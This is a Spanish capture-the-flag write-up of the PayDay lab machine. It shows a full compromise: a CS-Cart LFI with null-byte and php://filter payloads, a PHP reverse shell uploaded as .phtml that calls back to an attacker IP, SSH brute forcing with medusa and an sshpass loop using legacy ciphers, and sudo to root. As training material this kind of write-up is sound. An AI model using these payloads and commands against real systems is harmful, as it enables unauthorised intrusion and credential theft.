the_open_door
café
ESEN

PayDay

Proving Grounds PracticeMediaLinux192.168.175.39

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#cs-cart#lfi#null-byte-bypass#php-filter#file-upload#phtml#rce#reverse-shell#ssh-brute-force#legacy-crypto#password-reuse#sudo#privilege-escalation
TL;DR. PayDay monta un CS-Cart 1.3.3 (un e-commerce en PHP) sobre Apache 2.2 y PHP 5.2. La tienda tiene un LFI sin autenticar en class.cs_phpmailer.php que sortea el filtro de extensión con un null byte %00 (bypass con null byte); con php://filter leemos config.php y vemos credenciales de base de datos. El panel /admin.php entra con admin:admin, y desde su editor de plantillas subimos un shell PHP renombrado a .phtml (RCE por subida de ficheros): visitarlo da shell como www-data. El local.txt está en el home de patrick; para pivotar, un brute force SSH (que necesita habilitar la criptografía antigua del servidor) encuentra patrick:patrick. Y patrick tiene sudo (ALL) ALL: sudo su y a root.

Reconocimiento

Escaneo inicial

ping -c 1 192.168.175.39
64 bytes from 192.168.175.39: icmp_seq=1 ttl=61 time=29.7 ms

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo descubre un servidor de correo (Dovecot en 110/143/993/995), Samba y, lo importante, un HTTP con una tienda PHP:

nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.39
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  netbios-ssn
993/tcp open  ssl/imap
995/tcp open  ssl/pop3
nmap -p22,80,110,139,143,445,993,995 -sCV 192.168.175.39
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: CS-Cart. Powerful PHP shopping cart software
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d

Todo es viejo: OpenSSH 4.6 (2007), Apache 2.2.4 con PHP 5.2.3. El título de la página identifica el software: CS-Cart, un carrito de la compra en PHP. La versión exacta (1.3.3) se confirma luego; con un stack así, searchsploit es el primer reflejo.

HTTP - TCP 80: CS-Cart 1.3.3

whatweb confirma CS-Cart sobre PHP 5.2. Buscar la versión en exploits públicos devuelve dos piezas que encajan en cadena: un LFI sin autenticar y un RCE autenticado.

identificación de CS-Cart 1.3.3 sobre Apache 2.2 y PHP 5.2

Explotación

CS-Cart 1.3.3: LFI sin autenticar con bypass de null byte (%00)

searchsploit CS-Cart apunta a 48890.txt (CS-Cart 1.3.3 'classes_dir' LFI). El parámetro classes_dir de class.cs_phpmailer.php se concatena a una ruta que termina en .php, así que una inclusión de fichero local normal no sirve. La técnica es el null byte %00: en PHP anterior a 5.3.4, el %00 corta la cadena en C y descarta el .php que el código añade después (bypass con null byte), de modo que se incluye exactamente el fichero pedido:

curl "http://192.168.175.39/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../etc/passwd%00" --path-as-is

LFI leyendo /etc/passwd; aparece el usuario patrick con UID 1000

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
www-data:x:33:33:www-data:/var/www:/bin/sh
...
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bash
Fatal error:  Class 'PHPMailer' not found in /var/www/classes/phpmailer/class.cs_phpmailer.php on line 6

/etc/passwd se lee sin autenticación y revela el usuario interactivo de la caja: patrick (UID 1000). Ese nombre será la pieza del pivote más adelante.

Leer el código con php://filter

El LFI también lee fuentes PHP si se envuelven en php://filter con convert.base64-encode (si no, PHP ejecutaría el fichero en vez de mostrarlo). Apuntamos a la configuración de CS-Cart:

curl "http://192.168.175.39/classes/phpmailer/class.cs_phpmailer.php?classes_dir=php://filter/convert.base64-encode/resource=../../config.php%00" --path-as-is | base64 -d

config.php leído con php://filter mostrando las credenciales de base de datos

$db_host = 'localhost';
$db_name = 'cscart';
$db_user = 'root';
$db_password = 'root';

Son credenciales de la base de datos local (root:root para MySQL), no de un servicio expuesto. Un intento de convertir el LFI en RCE por log poisoning falla (la ruta del access.log de Apache no es la esperada y require_once no abre el fichero), así que cambiamos de vector hacia el panel de administración.

Acceso al panel: admin:admin

CS-Cart expone su panel en /admin.php. Antes de montar nada complejo, probamos las credenciales por defecto del producto, y entran:

panel /admin.php de CS-Cart con login admin:admin

admin:admin abre el panel de administración. Con sesión válida, el segundo exploit (RCE autenticado) ya es viable.

CS-Cart 1.3.3: RCE autenticado por subida de ficheros

48891.txt describe el camino: el editor de plantillas del panel permite subir ficheros, y aunque filtra .php, acepta .phtml, una extensión que Apache también ejecuta como PHP (RCE por subida de ficheros). Preparamos el php-reverse-shell de pentestmonkey con nuestra IP y puerto, y lo guardamos como rev.phtml:

$ip = '192.168.45.239';
$port = 4444;

En el panel, el menú Template editor (sección Look and Feel) da acceso al editor de plantillas:

panel de administración de CS-Cart con el menú Template editor en Look and Feel

Ahí, con Upload file, subimos rev.phtml al directorio /skins/:

editor de plantillas de CS-Cart subiendo rev.phtml con Browse y Upload

Tras la subida, el fichero queda listado en /skins/:

editor de plantillas de CS-Cart con rev.phtml subido en /skins/

Template editor
Current path: /skins/

  default_blue/
  new_vision_blue/
  rev.phtml

Shell como www-data

Levantamos primero el listener (el puerto fijado en rev.phtml):

nc -nlvp <port>

Con un listener a la espera, basta una petición al .phtml para disparar la reverse shell:

curl http://192.168.175.39/skins/rev.phtml

reverse shell recibida como www-data tras visitar rev.phtml

www-data@payday:/$ whoami
www-data

El proceso de Apache corre como www-data, que tiene lectura sobre el home de patrick y nos deja recoger el local.txt:

lectura de local.txt desde el home de patrick como www-data

www-data@payday:/home/patrick$ cat local.txt
f0eef12d6eac8369f4144fcdd21aed94

Pivote a patrick

Brute force SSH con criptografía antigua

www-data no escala directo, pero ya conocemos un usuario (patrick) y la caja reutiliza credenciales triviales (MySQL era root:root). El SSH es la vía, pero hay un detalle: el OpenSSH 4.6 de 2007 usa algoritmos que un cliente moderno rechaza por defecto. hydra falla directamente al negociar:

hydra -l patrick -P /usr/share/wordlists/rockyou.txt ssh://192.168.175.39 -t 64 -I

hydra falla contra el OpenSSH heredado: kex error, no match for method mac algo

[ERROR] could not connect to ssh://192.168.175.39:22 - kex error : no match for method mac algo client->server: server [hmac-md5,hmac-sha1,...], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]

medusa, en cambio, sí negocia esa criptografía antigua y encuentra la contraseña, que resulta ser el propio nombre de usuario (patrick:patrick): reutilización trivial.

medusa -h 192.168.175.39 -u patrick -P /usr/share/wordlists/rockyou.txt -M ssh -e ns -f -g 5 -r 0 -b -t 2 -v 4

medusa encuentra las credenciales: ACCOUNT FOUND patrick:patrick SUCCESS

ACCOUNT FOUND: [ssh] Host: 192.168.175.39 User: patrick Password: patrick [SUCCESS]

Como alternativa portátil (útil si la herramienta no habla el cifrado antiguo), el mismo ataque se hace a mano forzando el cliente OpenSSH a habilitar la criptografía heredada (KexAlgorithms=+diffie-hellman-group1-sha1, HostKeyAlgorithms=+ssh-rsa, MACs=hmac-sha1,hmac-md5) y recorriendo el diccionario con sshpass:

for pass in $(cat /usr/share/wordlists/rockyou.txt); do
  timeout 1 sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -o MACs=hmac-sha1,hmac-md5 \
    -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa \
    patrick@192.168.175.39 "echo OK; exit" 2>/dev/null && echo "[+] $pass" && break
done

el script bash a medida también encuentra la contraseña: Password found: patrick

CREDENTIAL FOUND: patrick
[+] Password found: patrick

El script confirma patrick:patrick. Iniciamos sesión con los mismos parámetros de cifrado:

sshpass -p "patrick" ssh -o MACs=hmac-sha1,hmac-md5 -o KexAlgorithms=+diffie-hellman-group1-sha1 \
  -o HostKeyAlgorithms=+ssh-rsa patrick@192.168.175.39

sesión SSH como patrick tras el brute force con criptografía heredada

patrick@payday:~$ id
uid=1000(patrick) gid=1000(patrick) groups=4(adm),20(dialout),...,1000(patrick)

Escalada de privilegios

sudo (ALL) ALL

La escalada es inmediata: patrick puede ejecutar cualquier comando como cualquier usuario (sudo (ALL) ALL):

sudo -l
sudo su

sudo -l mostrando (ALL) ALL y sudo su devolviendo root

User patrick may run the following commands on this host:
    (ALL) ALL

root@payday:/home/patrick# whoami
root

(ALL) ALL significa que sudo su da una shell de root sin más. Leemos la prueba:

lectura de proof.txt como root

root@payday:/home/patrick# cat /root/proof.txt
b3b6ff03b680bf8def474dedd35c730d

Cadena de ataque

HTTP 80 (CS-Cart 1.3.3)
   └── LFI sin autenticar en class.cs_phpmailer.php (classes_dir) + %00  ── bypass de null byte
        ├── /etc/passwd → usuario patrick
        └── php://filter → config.php (db root:root)
   └── /admin.php con admin:admin (credenciales por defecto)
        └── editor de plantillas: subir rev.phtml  ── RCE autenticado
             └── reverse shell como www-data  (local.txt en /home/patrick)
                  └── SSH brute force (criptografía heredada) → patrick:patrick
                       └── sudo -l: (ALL) ALL  ── sudo su  ── root  (proof.txt)

Lecciones aprendidas

  • El null byte %00 resucita un LFI con sufijo fijo. Mientras el código añada .php y el PHP sea anterior a 5.3.4, %00 corta la ruta y se incluye el fichero exacto. php://filter además convierte el LFI en lectura de código fuente.
  • Las credenciales por defecto siguen abriendo paneles. admin:admin en CS-Cart evitó todo el trabajo de explotar el login. Probar siempre las del producto antes de complicarse.
  • .phtml esquiva los filtros que solo bloquean .php. Apache ejecuta .phtml como PHP; un editor que filtra por extensión pero olvida esa variante entrega RCE.
  • El cifrado heredado bloquea a algunas herramientas, no la técnica. hydra fallaba por negociación (rechaza los algoritmos antiguos del OpenSSH de 2007), pero medusa sí los habla y encontró patrick:patrick. Y forzando KexAlgorithms/HostKeyAlgorithms/MACs antiguos, el brute force manual con sshpass progresa igual: la limitación era del cliente, no del ataque.
  • La reutilización de credenciales es la regla, no la excepción. patrick:patrick y root:root en MySQL muestran lo barato que sale probar usuario=contraseña y los valores triviales.
Cheatsheet de comandos 11 comandos

Repaso rápido